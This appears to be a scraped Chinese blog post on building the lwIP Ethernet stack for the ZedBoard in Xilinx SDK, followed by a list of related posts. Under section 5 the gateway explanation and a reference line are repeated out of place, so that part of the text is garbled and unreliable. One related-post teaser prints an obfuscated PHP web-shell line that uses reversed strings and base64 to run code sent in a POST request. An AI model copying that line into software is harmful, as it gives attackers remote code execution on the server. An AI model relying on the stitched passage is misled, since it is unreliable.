zedboard - 轻量级以太网控制器LWIP
ipconfig/all
route print 显示本机所有的网络
网关是什么
那么网关到底是什么呢?网关实质上是一个网络通向其他网络的IP地址。比如有网络A和网络B,网络A的IP地址范围为“192.168.1.1~192.
168.1.254”,子网掩码为255.255.255.0;网络B的IP地址范围为“192.168.2.1~192.168.2.254”,子网掩码为255.255.255.0。在没有路由器的情况下,两个网络之间是不能进行TCP/IP通信的,即使是两个网络连接在同一台交换机(或集线器)上,TCP/IP协议也会根据子网掩码(255.255.255.0)判定两个网络中的主机处在不同的网络里。而要实现这两个网络之间的通信,则必须通过网关。如果网络A中的主机发现数据包的目的主机不在本地网络中,就把数据包转发给它自己的网关,再由网关转发给网络B的网关,网络B的网关再转发给网络B的某个主机。网络B向网络A转发数据包的过程也是如此。所以说,只有设置好网关的IP地址,TCP/IP协议才能实现不同网络之间的相互通信。那么这个IP地址是哪台机器的IP地址呢?网关的IP地址是具有路由功能的设备的IP地址,具有路由功能的设备有路由器、启用了路由协议的服务器(实质上相当于一台路由器)、代理服务器(也相当于一台路由器)。
ISE14.7搭建LWIP
首先我们要知道,在zedboard中ECH是挂在Cortex-A9上的 ,zedboard上用的是RGMII接口的1000M PHY芯片。有了PHY我们才有了硬件支持,好比我们煮饭有了锅一样。顺便说一下,RGMII是精简的吉比特吉比特介质独立接口。http://baike.baidu.com/view/1030176.htm?fr=aladdin

3 MAC与PHY
有了PHY还不行 ,众所周知,在网络ISO模型中最多有7层。最低的两层便是MAC与PHY,也就是数据链路与物理接口层。



那是不是我们还需要有MAC芯片呢,原则上是需要的,但是但是不用担心,在zynq的A9中,已经给我们做好了,并且可以实现RGMII接口(一个接受一个发送)


4 利用ISE SDK生成LWIP
既然有了PHY和MAC,那么我们需要做什么呢?我们就需要做数据封装,应用的编写了啊。不然我们的数据报文是怎么来的,就是通过LWIP进行MAC、IP、等等的封包。

用一个空的EDK工程导入到SDK中,为什么用空工程,因为我们暂时不需要PL端的外设。建立一个application project,选择LWIP service模版。具体的工程可以参考CTT ZedBoard: Zynq-7000 AP
SoC Concepts, Tools, and Techniques A Hands-On Guide to Effective Embedded System Design或者是XILINX workshops embedded_system_design_flow_using_zynq http://china.xilinx.com/support/university/professors.html

然后编译调试:

注:一定要将IP地址设置成和电脑主机同一个子段的IP,比如我的主机是192.168.0.101,那么zedboard就可以设置成192.168.0.xxx
这里建立的是一个 service,将zedboard的网络线连接在PC机公用的路由上。在电脑主机上安装一个网络调试助手。我用的是网上下载的http://download.csdn.net/detail/xiabodan/7652995

zedboard是接受PC Client发送的数据,然后立即返回给PC,所以我们看到收到的数据和发送的数据。
5 利用xapp1026文档移植LWIP (基于FreeRTOS)
168.1.254”,子网掩码为255.255.255.0;网络B的IP地址范围为“192.168.2.1~192.168.2.254”,子网掩码为255.255.255.0。在没有路由器的情况下,两个网络之间是不能进行TCP/IP通信的,即使是两个网络连接在同一台交换机(或集线器)上,TCP/IP协议也会根据子网掩码(255.255.255.0)判定两个网络中的主机处在不同的网络里。而要实现这两个网络之间的通信,则必须通过网关。如果网络A中的主机发现数据包的目的主机不在本地网络中,就把数据包转发给它自己的网关,再由网关转发给网络B的网关,网络B的网关再转发给网络B的某个主机。网络B向网络A转发数据包的过程也是如此。所以说,只有设置好网关的IP地址,TCP/IP协议才能实现不同网络之间的相互通信。那么这个IP地址是哪台机器的IP地址呢?网关的IP地址是具有路由功能的设备的IP地址,具有路由功能的设备有路由器、启用了路由协议的服务器(实质上相当于一台路由器)、代理服务器(也相当于一台路由器)。
SoC Concepts, Tools, and Techniques A Hands-On Guide to Effective Embedded System Design或者是XILINX workshops embedded_system_design_flow_using_zynq http://china.xilinx.com/support/university/professors.html
由于以上是裸机程序 如果想要挂载一个简易的操作系统可以考虑FreeRTOS
参见zedboard官方网页:http://www.zedboard.org/support/design/1521/11
ZedBoard version of XAPP1026: LightWeight IP (lwIP) Application Examples
我的移植工程在http://pan.baidu.com/s/1dDiqDah
参考:
zedboard - 轻量级以太网控制器LWIP的更多相关文章
- ETH—Lwip以太网通信
第39章 ETH—Lwip以太网通信 全套200集视频教程和1000页PDF教程请到秉火论坛下载:www.firebbs.cn 野火视频教程优酷观看网址:http://i.youku.com/ ...
- 第39章 ETH—Lwip以太网通信
第39章 ETH—Lwip以太网通信 全套200集视频教程和1000页PDF教程请到秉火论坛下载:www.firebbs.cn 野火视频教程优酷观看网址:http://i.youku.com/ ...
- 第39章 ETH—Lwip以太网通信—零死角玩转STM32-F429系列
第39章 ETH—Lwip以太网通信 全套200集视频教程和1000页PDF教程请到秉火论坛下载:www.firebbs.cn 野火视频教程优酷观看网址:http://i.youku.com/ ...
- STM32 以太网学习
STM32进行以太网通信,需要 了解一下内容: 硬件层:MAC控制器 和 PHY 和 变压器 . 软件层:网络协议栈,例如:lwip协议栈,RL-TCPnet协议栈,FreeRTOS-TCP协议 ...
- LWIP的移植笔记
第一次发表博客,文章摘录于还不懂同学的专栏 lwIp的作者做了大量的工作以方便像我这种懒人移植该协议栈,基本上只需修改一个配置头文件和改写3个函数即可完成lwIP的移植.要改写的函数位于lwIP-1. ...
- S03_CH08_DMA_LWIP以太网传输
S03_CH08_DMA_LWIP以太网传输 8.1概述 本例程详细创建过程和本季课程第一课<S03_CH01_AXI_DMA_LOOP 环路测试>非常类似,因此如果读者不清楚如何创建工程 ...
- STM32F107移植LWIP
STM32F107上移植LWIP2.0.3 因为最近需要在STM32F107上实现TCP/IP协议栈,所以网上查了一下,准备使用LWIP,虽然大多数用的是1.4.1版本但是官方说2系大版本修复了1.4 ...
- 高性能以太网芯片W5500 数据手册 V1.0(一)
W5500 W5500 是一款全硬件 TCP/IP 嵌入式以太网控制器,为嵌入式系统提供了更加简易的互联网连接方案.W5500 集成了 TCP/IP 协议栈,10/100M 以太网数据链路层(MAC) ...
- 以太网驱动的流程浅析(一)-Ifconfig主要流程【原创】
以太网驱动的流程浅析(一)-Ifconfig主要流程 Author:张昺华 Email:920052390@qq.com Time:2019年3月23日星期六 此文也在我的个人公众号以及<Lin ...
随机推荐
- 如何在HTML5 图片预览
HTML5的 File API允许浏览器访问本地文件系统,借助它我们可以实现以前无法实现的本地图片预览功能. 先介绍下该API实现了那些接口: 1.Blob接口,表示原始的二进制数据,通过它可以访问到 ...
- php 运行客户提交代码(攻击)和运行图片中的代码
1.$a=@strrev(ecalper_gerp);$b=@strrev(edoced_46esab);@$a($b(L3h4L2Ug),$_POST[POST],bxxb); 2.<?php ...
- 15+ tar command usages with examples – Unix/Linux--reference
reference :http://crybit.com/tar-command-usages-with-examples/ The ‘tar’ saves many files together i ...
- linux 下 奇怪的 动态库 依赖问题
转:http://fanwei51880.blog.163.com/blog/static/3240674020111145285375/ 总结如下:1)当你在编译生成静态库的时候, 只需要相应的依赖 ...
- IIS 之 HTTP 错误 403.14 - Forbidden
错误如下图所示: 其实,这个提示下面已经交代了怎么解决问题,现在告诉大家具体的详细步骤. 方法一:配置" 默认文档 " 方法二:启用" 目录浏览 "
- EF——一个实体对应两张表,两个实体对应一张表 06 (转)
本篇日记我们将详细探讨如何将表现领域的类映射到现有的数据库.现在的经济形势不是太好,很多公司都取消了开发新系统的预算.在这种情况下,通常的做法是把原有的几个系统修改一下做个集成,先凑合用着得了.如果要 ...
- 通过继承nsoperation的方法--处理复杂任务
#import <Foundation/Foundation.h> @class TTOperation; @protocol TTOperationDelegate <NSObje ...
- 7. Android框架和工具之 android-percent-support-lib-sample(百分比支持)
1. android-percent-support-lib-sample介绍: 谷歌最新的百分比布局库的示例项目.其实LinearLayout的layout_weight也能实现百分比效果,不过这个 ...
- 常见的 HTTP错误代码大全
一些常见的状态码为: - 服务器成功返回网页 - 请求的网页不存在 - 服务不可用 详细分解: 1xx(临时响应) 表示临时响应并需要请求者继续执行操作的状态代码. 代码 说明 (继续) 请求者应当继 ...
- Java协变返回类型
今天看到句话:“支持重写方法时返回协变类型”. 那么什么事协变类型?在网上找了找资料,大体上明白了. Java 5.0添加了对协变返回类型的支持,即子类覆盖(即重写)基类方法时,返回的类型可以是基类方 ...